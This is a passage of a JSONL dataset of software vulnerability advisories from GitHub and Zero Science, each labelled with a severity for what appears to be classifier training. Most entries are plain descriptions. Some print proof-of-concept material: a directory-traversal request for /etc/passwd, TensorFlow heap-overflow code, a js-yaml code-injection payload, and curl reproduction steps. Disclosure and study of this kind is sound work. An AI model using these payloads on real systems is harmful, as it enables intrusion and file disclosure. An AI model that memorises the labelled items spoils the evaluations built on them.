successful:\n\n```json\n{\"email\":\"admin@localhost.local\"}\n```\n\nThis information should not be exposed, as it can be used to gather email addresses.\n\n#### Response time of login gives hint if the username exists\n\nIf the username the user enters in the login screen does not exists, the request responds much faster than if the username exists. This again allows attackers to retrieve valid usernames.\n\n#### Reset Token for Forgot Password feature is not hashed\n\nThe reset token in the user database table is not hashed. That means that somebody could try to request a new password using the Forgot Password feature, and look that up in the database, if the attacker somehow got access to the database. Hashing the reset token would fix that problem.\n\n### Patches\n\nThis problem was fixed in Release 1.6.34, 2.0.10 and 2.1.1.\n\n### Workarounds\n\nOverride the files manually in your project and change them accordingly.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-08-05", "split": "train"}
-{"id": "67f0419a288a6efafb22", "text": "Directory Traversal in gaoxiaotingtingting\n\nAffected versions of `gaoxiaotingtingting` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in gaoxiaotingtingting\n\n[Severity: HIGH]\n\nAffected versions of `gaoxiaotingtingting` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "9d44420169d774c3c1a9", "text": "Farmer's Fridge Kiosk 2.0.0 Unprotected Event Log Information Disclosure", "text_raw": "Farmer's Fridge Kiosk 2.0.0 Unprotected Event Log Information Disclosure\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2017-03-26", "split": "train"}
-{"id": "40371d55a9e5272b3d31", "text": "Heap buffer overflow and undefined behavior in `FusedBatchNorm`\n\n### Impact\nThe implementation of `tf.raw_ops.FusedBatchNorm` is vulnerable to a heap buffer overflow:\n\n```python\nimport tensorflow as tf\n\nx = tf.zeros([10, 10, 10, 6], dtype=tf.float32)\nscale = tf.constant([0.0], shape=[1], dtype=tf.float32)\noffset = tf.constant([0.0], shape=[1], dtype=tf.float32)\nmean = tf.constant([0.0], shape=[1], dtype=tf.float32)\nvariance = tf.constant([0.0], shape=[1], dtype=tf.float32)\nepsilon = 0.0\nexponential_avg_factor = 0.0\ndata_format = \"NHWC\"\nis_training = False\n\ntf.raw_ops.FusedBatchNorm(\n  x=x, scale=scale, offset=offset, mean=mean, variance=variance,\n  epsilon=epsilon, exponential_avg_factor=exponential_avg_factor,\n  data_format=data_format, is_training=is_training)\n```\n\nIf the tensors are empty, the same implementation can trigger undefined behavior by dereferencing null pointers:\n\n```python \nimport tensorflow as tf\nimport numpy as np\n\nx = tf.zeros([10, 10, 10, 1], dtype=tf.float32)\nscale = tf.constant([], shape=[0], dtype=tf.float32)\noffset = tf.constant([], shape=[0], dtype=tf.float32)\nmean = tf.constant([], shape=[0], dtype=tf.float32)\nvariance = tf.constant([], shape=[0], dtype=tf.float32)\nepsilon = 0.0\nexponential_avg_factor = 0.0\ndata_format = \"NHWC\"\nis_training = False\n\ntf.raw_ops.FusedBatchNorm(\n  x=x, scale=scale, offset=offset, mean=mean, variance=variance, \n  epsilon=epsilon, exponential_avg_factor=exponential_avg_factor,\n  data_format=data_format, is_training=is_training)\n```\n\nThe  [implementation](https://github.com/tensorflow/tensorflow/blob/57d86e0db5d1365f19adcce848dfc1bf89fdd4c7/tensorflow/core/kernels/fused_batch_norm_op.cc) fails to validate that `scale`, `offset`, `mean` and `variance` (the last two only when required) all have the same number of elements as the number of channels of `x`. This results in heap out of bounds reads when the buffers backing these tensors are indexed past their boundary.\n\nIf the tensors are empty, the validation mentioned in the above paragraph would also trigger and prevent the undefined behavior.\n\n### Patches\nWe have patched the issue in GitHub commit [6972f9dfe325636b3db4e0bc517ee22a159365c0](https://github.com/tensorflow/tensorflow/commit/6972f9dfe325636b3db4e0bc517ee22a159365c0).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "text_raw": "Heap buffer overflow and undefined behavior in `FusedBatchNorm`\n\n[Severity: LOW]\n\n### Impact\nThe implementation of `tf.raw_ops.FusedBatchNorm` is vulnerable to a heap buffer overflow:\n      \n```python\nimport tensorflow as tf\n\nx = tf.zeros([10, 10, 10, 6], dtype=tf.float32)\nscale = tf.constant([0.0], shape=[1], dtype=tf.float32)\noffset = tf.constant([0.0], shape=[1], dtype=tf.float32)\nmean = tf.constant([0.0], shape=[1], dtype=tf.float32)\nvariance = tf.constant([0.0], shape=[1], dtype=tf.float32)\nepsilon = 0.0\nexponential_avg_factor = 0.0\ndata_format = \"NHWC\"\nis_training = False\n    \ntf.raw_ops.FusedBatchNorm(\n  x=x, scale=scale, offset=offset, mean=mean, variance=variance,\n  epsilon=epsilon, exponential_avg_factor=exponential_avg_factor,\n  data_format=data_format, is_training=is_training)\n```\n  \nIf the tensors are empty, the same implementation can trigger undefined behavior by dereferencing null pointers:\n\n```python \nimport tensorflow as tf\nimport numpy as np\n\nx = tf.zeros([10, 10, 10, 1], dtype=tf.float32)\nscale = tf.constant([], shape=[0], dtype=tf.float32)\noffset = tf.constant([], shape=[0], dtype=tf.float32)\nmean = tf.constant([], shape=[0], dtype=tf.float32)\nvariance = tf.constant([], shape=[0], dtype=tf.float32)\nepsilon = 0.0\nexponential_avg_factor = 0.0\ndata_format = \"NHWC\"\nis_training = False\n\ntf.raw_ops.FusedBatchNorm(\n  x=x, scale=scale, offset=offset, mean=mean, variance=variance, \n  epsilon=epsilon, exponential_avg_factor=exponential_avg_factor,\n  data_format=data_format, is_training=is_training)\n``` \n\nThe  [implementation](https://github.com/tensorflow/tensorflow/blob/57d86e0db5d1365f19adcce848dfc1bf89fdd4c7/tensorflow/core/kernels/fused_batch_norm_op.cc) fails to validate that `scale`, `offset`, `mean` and `variance` (the last two only when required) all have the same number of elements as the number of channels of `x`. This results in heap out of bounds reads when the buffers backing these tensors are indexed past their boundary.\n\nIf the tensors are empty, the validation mentioned in the above paragraph would also trigger and prevent the undefined behavior.\n\n### Patches\nWe have patched the issue in GitHub commit [6972f9dfe325636b3db4e0bc517ee22a159365c0](https://github.com/tensorflow/tensorflow/commit/6972f9dfe325636b3db4e0bc517ee22a159365c0).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "3e89697ecf27aac35ebb", "text": "Active Record contains deserialization of arbitrary YAML\n\nActiveRecord in Ruby on Rails before 2.3.17 and 3.x before 3.1.0 allows remote attackers to cause a denial of service or execute arbitrary code via crafted serialized attributes that cause the +serialize+ helper to deserialize arbitrary YAML.", "text_raw": "Active Record contains deserialization of arbitrary YAML\n\n[Severity: CRITICAL]\n\nActiveRecord in Ruby on Rails before 2.3.17 and 3.x before 3.1.0 allows remote attackers to cause a denial of service or execute arbitrary code via crafted serialized attributes that cause the +serialize+ helper to deserialize arbitrary YAML.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "fca023f2f31d49a852ac", "text": "Malicious Package in maybemaliciouspackage\n\nAll versions of `maybemaliciouspackage` contain malicious code. The package prints the system's SSH keys to the console as a postinstall script.\n\n## Recommendation\n\nRemove the package from your environment. There are no further signs of compromise.", "text_raw": "Malicious Package in maybemaliciouspackage\n\n[Severity: CRITICAL]\n\nAll versions of `maybemaliciouspackage` contain malicious code. The package prints the system's SSH keys to the console as a postinstall script.\n\n\n## Recommendation\n\nRemove the package from your environment. There are no further signs of compromise.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "45e256d9bbfce3b8469d", "text": "UNEDITABLE_SCHEMAS and UNEDITABLE_TABLE_DESCRIPTION_MATCH_RULES not respected by frontend service backend\n\n### Impact\nAny install that has `UNEDITABLE_SCHEMAS` and/or `UNEDITABLE_TABLE_DESCRIPTION_MATCH_RULES` set in the front-end, is being impacted. The value of these properties is ignored if set, allowing any user to modify table and column descriptions, even though the properties imply they shouldn't be.\n\n### Patches\nThere is an attached PR that applies this restriction on the back-end.\n\n### Workarounds\nN/A\n\n### References\nN/A\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [amundsen-security@lists.lfaidata.foundation](mailto:amundsen-security@lists.lfaidata.foundation)\n\n### More details\nSummary: I believe that UNEDITABLE_SCHEMAS and\nUNEDITABLE_TABLE_DESCRIPTION_MATCH_RULES are only being applied on the\nfront-end, not on the frontend service back-end, allowing any user to\nmodify table and column descriptions even if this configuration parameter\nis set.\n\nRepro steps:\n\n1. docker-compose -f docker-amundsen.yml up neo4j elasticsearch\namundsensearch amundsenmetadata\n2. python example/scripts/sample_data_loader.py\n3. FRONTEND_SVC_CONFIG_MODULE_CLASS=amundsen_application.config.TestConfig\nPYTHONPATH=. python3 amundsen_application/wsgi.py\n4. Attempt a modification to a table description:\n\ncurl '<http://localhost:5000/api/metadata/v0/put_table_description>' \\\\\\\\\n-X 'PUT' \\\\\\\\\n-H 'Content-Type: application/json;charset=UTF-8' \\\\\\\\\n--data-binary '{\"description\":\"2t test table\",\"key\":\"hive://gold.test_schema/test_table1\",\"source\":\"user\"}'\n{\"msg\":\"Success\"}\n\n5. This correctly succeeds, which can be validated by GETing the info:\n\ncurl '<http://localhost:5000/api/metadata/v0/get_table_description?key=hive://gold.test_schema/test_table1>'\n{\"description\":\"1st test table\",\"msg\":\"Success\"}\n\nAt this point, modify TestConfig inside config.py to add this line: UNEDITABLE_SCHEMAS\n= set(['test_schema'])\n\nYou can now re-run step 4, and step 5 with different data, and confirm\nthat the modification has persisted. If you build and run the UI, you can\nsee that on the page\n<http://localhost:5000/table_detail/gold/hive/test_schema/test_table1>\nhttp://localhost:5000/table_detail/gold/hive/test_schema/test_table1, the\ninline editor is correctly disabled.\n\nLooking at\namundsenfrontendlibrary/amundsen_application/api/metadata/v0.py:268\nput_table_description, you can see there's no reference to\nUNEDITABLE_SCHEMAS or UNEDITABLE_TABLE_DESCRIPTION_MATCH_RULES.\n\nThe only place I can find these referenced is in\namundsenfrontendlibrary/amundsen_application/api/utils/metadata_utils.py:marshall_table_full,\nwhich would explain why the UI is correctly respecting this setting.\n\nIf this is correct, put_column_description would also be similarly\naffected.\n\nI believe the correct fix for all of these methods is to load the table,\nrun it through marshall_dashboard_partial to fully evaluate what's\neditable or not (to reuse the same code path for FE and back-end), and\nreject the response if it's not editable. I'll implement a fix along these\nlines once someone confirms this.\n\nHistory: This functionality was introduced in\n<https://github.com/amundsen-io/amundsenfrontendlibrary/pull/497/files>\nhttps://github.com/amundsen-io/amundsenfrontendlibrary/pull/497 on July\n9, corresponding to the 2.3.0 release of amundsenfrontend. That release was\nintroduced into the main repo dockerfile on October 28 in\n<https://github.com/amundsen-io/amundsen/pull/785>\nhttps://github.com/amundsen-io/amundsen/pull/785", "text_raw": "UNEDITABLE_SCHEMAS and UNEDITABLE_TABLE_DESCRIPTION_MATCH_RULES not respected by frontend service backend\n\n[Severity: LOW]\n\n### Impact\nAny install that has `UNEDITABLE_SCHEMAS` and/or `UNEDITABLE_TABLE_DESCRIPTION_MATCH_RULES` set in the front-end, is being impacted. The value of these properties is ignored if set, allowing any user to modify table and column descriptions, even though the properties imply they shouldn't be.\n\n### Patches\nThere is an attached PR that applies this restriction on the back-end.\n\n### Workarounds\nN/A\n\n### References\nN/A\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [amundsen-security@lists.lfaidata.foundation](mailto:amundsen-security@lists.lfaidata.foundation)\n\n### More details\nSummary: I believe that UNEDITABLE_SCHEMAS and\nUNEDITABLE_TABLE_DESCRIPTION_MATCH_RULES are only being applied on the\nfront-end, not on the frontend service back-end, allowing any user to\nmodify table and column descriptions even if this configuration parameter\nis set.\n\nRepro steps:\n\n1. docker-compose -f docker-amundsen.yml up neo4j elasticsearch\namundsensearch amundsenmetadata\n2. python example/scripts/sample_data_loader.py\n3. FRONTEND_SVC_CONFIG_MODULE_CLASS=amundsen_application.config.TestConfig\nPYTHONPATH=. python3 amundsen_application/wsgi.py\n4. Attempt a modification to a table description:\n\ncurl '<http://localhost:5000/api/metadata/v0/put_table_description>' \\\\\\\\\n-X 'PUT' \\\\\\\\\n-H 'Content-Type: application/json;charset=UTF-8' \\\\\\\\\n--data-binary '{\"description\":\"2t test table\",\"key\":\"hive://gold.test_schema/test_table1\",\"source\":\"user\"}'\n{\"msg\":\"Success\"}\n\n\n\n5. This correctly succeeds, which can be validated by GETing the info:\n\ncurl '<http://localhost:5000/api/metadata/v0/get_table_description?key=hive://gold.test_schema/test_table1>'\n{\"description\":\"1st test table\",\"msg\":\"Success\"}\n\n\nAt this point, modify TestConfig inside config.py to add this line: UNEDITABLE_SCHEMAS\n= set(['test_schema'])\n\nYou can now re-run step 4, and step 5 with different data, and confirm\nthat the modification has persisted. If you build and run the UI, you can\nsee that on the page\n<http://localhost:5000/table_detail/gold/hive/test_schema/test_table1>\nhttp://localhost:5000/table_detail/gold/hive/test_schema/test_table1, the\ninline editor is correctly disabled.\n\nLooking at\namundsenfrontendlibrary/amundsen_application/api/metadata/v0.py:268\nput_table_description, you can see there's no reference to\nUNEDITABLE_SCHEMAS or UNEDITABLE_TABLE_DESCRIPTION_MATCH_RULES.\n\nThe only place I can find these referenced is in\namundsenfrontendlibrary/amundsen_application/api/utils/metadata_utils.py:marshall_table_full,\nwhich would explain why the UI is correctly respecting this setting.\n\nIf this is correct, put_column_description would also be similarly\naffected.\n\nI believe the correct fix for all of these methods is to load the table,\nrun it through marshall_dashboard_partial to fully evaluate what's\neditable or not (to reuse the same code path for FE and back-end), and\nreject the response if it's not editable. I'll implement a fix along these\nlines once someone confirms this.\n\nHistory: This functionality was introduced in\n<https://github.com/amundsen-io/amundsenfrontendlibrary/pull/497/files>\nhttps://github.com/amundsen-io/amundsenfrontendlibrary/pull/497 on July\n9, corresponding to the 2.3.0 release of amundsenfrontend. That release was\nintroduced into the main repo dockerfile on October 28 in\n<https://github.com/amundsen-io/amundsen/pull/785>\nhttps://github.com/amundsen-io/amundsen/pull/785", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-12-02", "split": "train"}
-{"id": "c52602c5b47f7c5e9136", "text": "Serviio PRO 1.8 DLNA Media Streaming Server (mediabrowser) DOM Based XSS", "text_raw": "Serviio PRO 1.8 DLNA Media Streaming Server (mediabrowser) DOM Based XSS\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2017-05-03", "split": "train"}
-{"id": "6869ffb1d53cb309a19c", "text": "Deserialization of Untrusted Data in topthink/framework\n\nThinkPHP v6.0.8 was discovered to contain a deserialization vulnerability via the component vendor\\league\\flysystem-cached-adapter\\src\\Storage\\Adapter.php.", "text_raw": "Deserialization of Untrusted Data in topthink/framework\n\n[Severity: CRITICAL]\n\nThinkPHP v6.0.8 was discovered to contain a deserialization vulnerability via the component vendor\\league\\flysystem-cached-adapter\\src\\Storage\\Adapter.php.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-12-10", "split": "train"}
-{"id": "efae87a5b9044f21f5b8", "text": "Exposure of Sensitive Information to an Unauthorized Actor\n\nShopware is an open source eCommerce platform. In versions prior to 6.4.1.1 the admin api has exposed some internal hidden fields when an association has been loaded with a to many reference. Users are recommend to update to version 6.4.1.1. You can get the update to 6.4.1.1 regularly via the Auto-Updater or directly via the download overview. For older versions of 6.1, 6.2, and 6.3, corresponding security measures are also available via a plugin.", "text_raw": "Exposure of Sensitive Information to an Unauthorized Actor\n\n[Severity: MEDIUM]\n\nShopware is an open source eCommerce platform. In versions prior to 6.4.1.1 the admin api has exposed some internal hidden fields when an association has been loaded with a to many reference. Users are recommend to update to version 6.4.1.1. You can get the update to 6.4.1.1 regularly via the Auto-Updater or directly via the download overview. For older versions of 6.1, 6.2, and 6.3, corresponding security measures are also available via a plugin.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-08", "split": "train"}
-{"id": "e08d798266e8da6a2102", "text": "Malicious Package in froever\n\nAll versions of `froever` contain malicious code as a preinstall script. The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. When installed, the package downloads a file from a remote server, executes it and opened a backdoor.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in froever\n\n[Severity: CRITICAL]\n\nAll versions of `froever` contain malicious code as a preinstall script. The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. When installed, the package downloads a file from a remote server, executes it and opened a backdoor.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "8e5d7117d4441ca92db5", "text": "Withdrawn, accidental duplicate publish.\n\nCross-site scripting (XSS) vulnerability in the rails-html-sanitizer gem before 1.0.3 for Ruby on Rails 4.2.x and 5.x allows remote attackers to inject arbitrary web script or HTML via crafted tag attributes.", "text_raw": "Moderate severity vulnerability that affects rails-html-sanitizer\n\n[Severity: MEDIUM]\n\nWithdrawn, accidental duplicate publish.\r\n\r\nCross-site scripting (XSS) vulnerability in the rails-html-sanitizer gem before 1.0.3 for Ruby on Rails 4.2.x and 5.x allows remote attackers to inject arbitrary web script or HTML via crafted tag attributes.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-09-17", "split": "train"}
-{"id": "b54af59d3e1801e4f595", "text": "Code Injection in js-yaml\n\nVersions of `js-yaml` prior to 3.13.1 are vulnerable to Code Injection. The `load()` function may execute arbitrary code injected through a malicious YAML file. Objects that have `toString` as key, JavaScript code as value and are used as explicit mapping keys allow attackers to execute the supplied code through the `load()` function. The `safeLoad()` function is unaffected.\n\nAn example payload is \n`{ toString: !<tag:yaml.org,2002:js/function> 'function (){return Date.now()}' } : 1` \nwhich returns the object \n{\n  \"1553107949161\": 1\n}\n\n## Recommendation\n\nUpgrade to version 3.13.1.", "text_raw": "Code Injection in js-yaml\n\n[Severity: HIGH]\n\nVersions of `js-yaml` prior to 3.13.1 are vulnerable to Code Injection. The `load()` function may execute arbitrary code injected through a malicious YAML file. Objects that have `toString` as key, JavaScript code as value and are used as explicit mapping keys allow attackers to execute the supplied code through the `load()` function. The `safeLoad()` function is unaffected.\n\nAn example payload is \n`{ toString: !<tag:yaml.org,2002:js/function> 'function (){return Date.now()}' } : 1` \nwhich returns the object \n{\n  \"1553107949161\": 1\n}\n\n\n## Recommendation\n\nUpgrade to version 3.13.1.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-06-04", "split": "train"}
-{"id": "252cd8b6a0dd138c9b95", "text": "actionpack Cross-site Scripting vulnerability\n\nCross-site scripting (XSS) vulnerability in the simple_format helper in `actionpack/lib/action_view/helpers/text_helper.rb` in Ruby on Rails 4.x before 4.0.2 allows remote attackers to inject arbitrary web script or HTML via a crafted HTML attribute.", "text_raw": "actionpack Cross-site Scripting vulnerability\n\n[Severity: MEDIUM]\n\nCross-site scripting (XSS) vulnerability in the simple_format helper in `actionpack/lib/action_view/helpers/text_helper.rb` in Ruby on Rails 4.x before 4.0.2 allows remote attackers to inject arbitrary web script or HTML via a crafted HTML attribute.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "47bff239ae5319bdee90", "text": "Infinite Loop in Apache Tika\n\nA carefully crafted or corrupt PSD file can cause an infinite loop in Apache Tika's PSDParser in versions 1.0-1.23.", "text_raw": "Infinite Loop in Apache Tika\n\n[Severity: MEDIUM]\n\nA carefully crafted or corrupt PSD file can cause an infinite loop in Apache Tika's PSDParser in versions 1.0-1.23.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-07", "split": "train"}
-{"id": "ee5eb2d0d4276107e9b9", "text": "List of order ids, number, items total and token value exposed for unauthorized uses via new API\n\n### Impact\n\nPart of the details (order ID, order number, items total, and token value) of all placed orders were exposed to unauthorized users. If exploited properly, a few additional information like the number of items in the cart and the date of the shipping may be fetched as well. This data seems to not be crucial nor is personal data, however, could be used for sociotechnical attacks or may expose a few details about shop condition to the third parties. The data possible to aggregate are the number of processed orders or their value in the moment of time.\n\n### Patches\n\nThe problem has been patched at Sylius 1.9.5 and 1.10.0\n\n### Workarounds\nThere are a few ways to fix this without updating the code.\n\nThe first possible solution is to hide the problematic endpoints behind the firewall from not logged in users. In order to achieve it one has to add the configuration in `config/packages/security.yaml`:\n```yaml\n    access_control:\n        # ... \n        - { path: \"%sylius.security.new_api_shop_regex%/orders\", role: IS_AUTHENTICATED_ANONYMOUSLY, methods: [POST] }\n        - { path: \"%sylius.security.new_api_shop_regex%/orders\", role: ROLE_USER, methods: [GET] }\n```\nThis would put only the order list under the firewall and allow only authorized users to access it. Once a user is authorized, it will have access to theirs orders only.\n\nThe second possible solution is to decorate the `\\Sylius\\Bundle\\ApiBundle\\Doctrine\\QueryCollectionExtension\\OrdersByLoggedInUserExtension` and throw `Symfony\\Component\\Security\\Core\\Exception\\AccessDeniedException` if the class is executed for unauthorized user.", "text_raw": "List of order ids, number, items total and token value exposed for unauthorized uses via new API\n\n[Severity: MEDIUM]\n\n### Impact\n\nPart of the details (order ID, order number, items total, and token value) of all placed orders were exposed to unauthorized users. If exploited properly, a few additional information like the number of items in the cart and the date of the shipping may be fetched as well. This data seems to not be crucial nor is personal data, however, could be used for sociotechnical attacks or may expose a few details about shop condition to the third parties. The data possible to aggregate are the number of processed orders or their value in the moment of time. \n\n### Patches\n\nThe problem has been patched at Sylius 1.9.5 and 1.10.0\n\n### Workarounds\nThere are a few ways to fix this without updating the code. \n\nThe first possible solution is to hide the problematic endpoints behind the firewall from not logged in users. In order to achieve it one has to add the configuration in `config/packages/security.yaml`:\n```yaml\n    access_control:\n        # ... \n        - { path: \"%sylius.security.new_api_shop_regex%/orders\", role: IS_AUTHENTICATED_ANONYMOUSLY, methods: [POST] }\n        - { path: \"%sylius.security.new_api_shop_regex%/orders\", role: ROLE_USER, methods: [GET] }\n```\nThis would put only the order list under the firewall and allow only authorized users to access it. Once a user is authorized, it will have access to theirs orders only.\n\nThe second possible solution is to decorate the `\\Sylius\\Bundle\\ApiBundle\\Doctrine\\QueryCollectionExtension\\OrdersByLoggedInUserExtension` and throw `Symfony\\Component\\Security\\Core\\Exception\\AccessDeniedException` if the class is executed for unauthorized user.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-29", "split": "train"}
-{"id": "fcc841a0e87f1f192d4b", "text": "JavaMelody has XXE via parseSoapMethodName in bull/javamelody/PayloadNameRequestWrapper.java.\n\nJavaMelody before 1.74.0 has XXE via parseSoapMethodName in bull/javamelody/PayloadNameRequestWrapper.java.", "text_raw": "JavaMelody has XXE via parseSoapMethodName in bull/javamelody/PayloadNameRequestWrapper.java.\n\n[Severity: CRITICAL]\n\nJavaMelody before 1.74.0 has XXE via parseSoapMethodName in bull/javamelody/PayloadNameRequestWrapper.java.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "76d2338f79ae7bfefd69", "text": "Malicious Package in bictoinjs-lib\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in bictoinjs-lib\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "2484f63ad73a2753215b", "text": "KindEditor 4.1.2 (name parameter) Reflected XSS Vulnerability", "text_raw": "KindEditor 4.1.2 (name parameter) Reflected XSS Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2012-08-23", "split": "train"}
-{"id": "55fb34d350557bf34941", "text": "OsiriX DICOM Viewer 8.0.1 (dulparse.cc) Remote Memory Corruption Vulnerability", "text_raw": "OsiriX DICOM Viewer 8.0.1 (dulparse.cc) Remote Memory Corruption Vulnerability\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2016-12-16", "split": "train"}
-{"id": "66a1eb04fdf08ab2cbd0", "text": "Piwigo 2.4.6 (install.php) Remote Arbitrary File Read/Delete Vulnerability", "text_raw": "Piwigo 2.4.6 (install.php) Remote Arbitrary File Read/Delete Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2013-02-18", "split": "train"}
-{"id": "61d54b0479fdb0cef02b", "text": "Unauthorized access to data in @sap-cloud-sdk/core\n\n### Impact\nThis affects applications on SAP Business Technology Platform that use the SAP Cloud SDK and enabled caching of destinations.\nIn some cases, when user information was missing, destinations were cached without user information, allowing other users to retrieve the same destination with its permissions.\nBy default, destination caching is disabled. If it is enabled the maximum lifetime is 5 minutes which limits the attack vector.\n\n### Patches\nThe problem was fixed by #1769 and #1770. The security for caching has been increased. The changes are released in version 1.52.0.\n\n### Workarounds\nDisable destination caching (it is disabled by default).\n\n### References\n[destination cache API docs](https://sap.github.io/cloud-sdk/api/1.51.0/modules/sap_cloud_sdk_core#destinationCache)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in https://github.com/SAP/cloud-sdk-js", "text_raw": "Unauthorized access to data in @sap-cloud-sdk/core\n\n[Severity: MEDIUM]\n\n### Impact\nThis affects applications on SAP Business Technology Platform that use the SAP Cloud SDK and enabled caching of destinations.\nIn some cases, when user information was missing, destinations were cached without user information, allowing other users to retrieve the same destination with its permissions.\nBy default, destination caching is disabled. If it is enabled the maximum lifetime is 5 minutes which limits the attack vector.\n\n### Patches\nThe problem was fixed by #1769 and #1770. The security for caching has been increased. The changes are released in version 1.52.0.\n\n### Workarounds\nDisable destination caching (it is disabled by default).\n\n### References\n[destination cache API docs](https://sap.github.io/cloud-sdk/api/1.51.0/modules/sap_cloud_sdk_core#destinationCache)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in https://github.com/SAP/cloud-sdk-js", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "29d2f6ba11ffd1367a5a", "text": "Missing Authorization in Jenkins P4 plugin\n\nJenkins P4 Plugin 1.11.4 and earlier does not perform permission checks in multiple HTTP endpoints, allowing attackers with Overall/Read permission to connect to an attacker-specified Perforce server using attacker-specified username and password.\n\nJenkins P4 Plugin 1.11.5 requires Overall/Administer for the affected HTTP endpoints.", "text_raw": "Missing Authorization in Jenkins P4 plugin\n\n[Severity: MEDIUM]\n\nJenkins P4 Plugin 1.11.4 and earlier does not perform permission checks in multiple HTTP endpoints, allowing attackers with Overall/Read permission to connect to an attacker-specified Perforce server using attacker-specified username and password.\n\nJenkins P4 Plugin 1.11.5 requires Overall/Administer for the affected HTTP endpoints.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-16", "split": "train"}
-{"id": "622f3d799adb05928d06", "text": "Prototype pollution in multi-ini\n\nThis affects the package multi-ini before 2.1.2. It is possible to pollute an object's prototype by specifying the constructor.proto object as part of an array. This is a bypass of CVE-2020-28448.", "text_raw": "Prototype pollution in multi-ini\n\n[Severity: MEDIUM]\n\nThis affects the package multi-ini before 2.1.2. It is possible to pollute an object's prototype by specifying the constructor.proto object as part of an array. This is a bypass of CVE-2020-28448.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
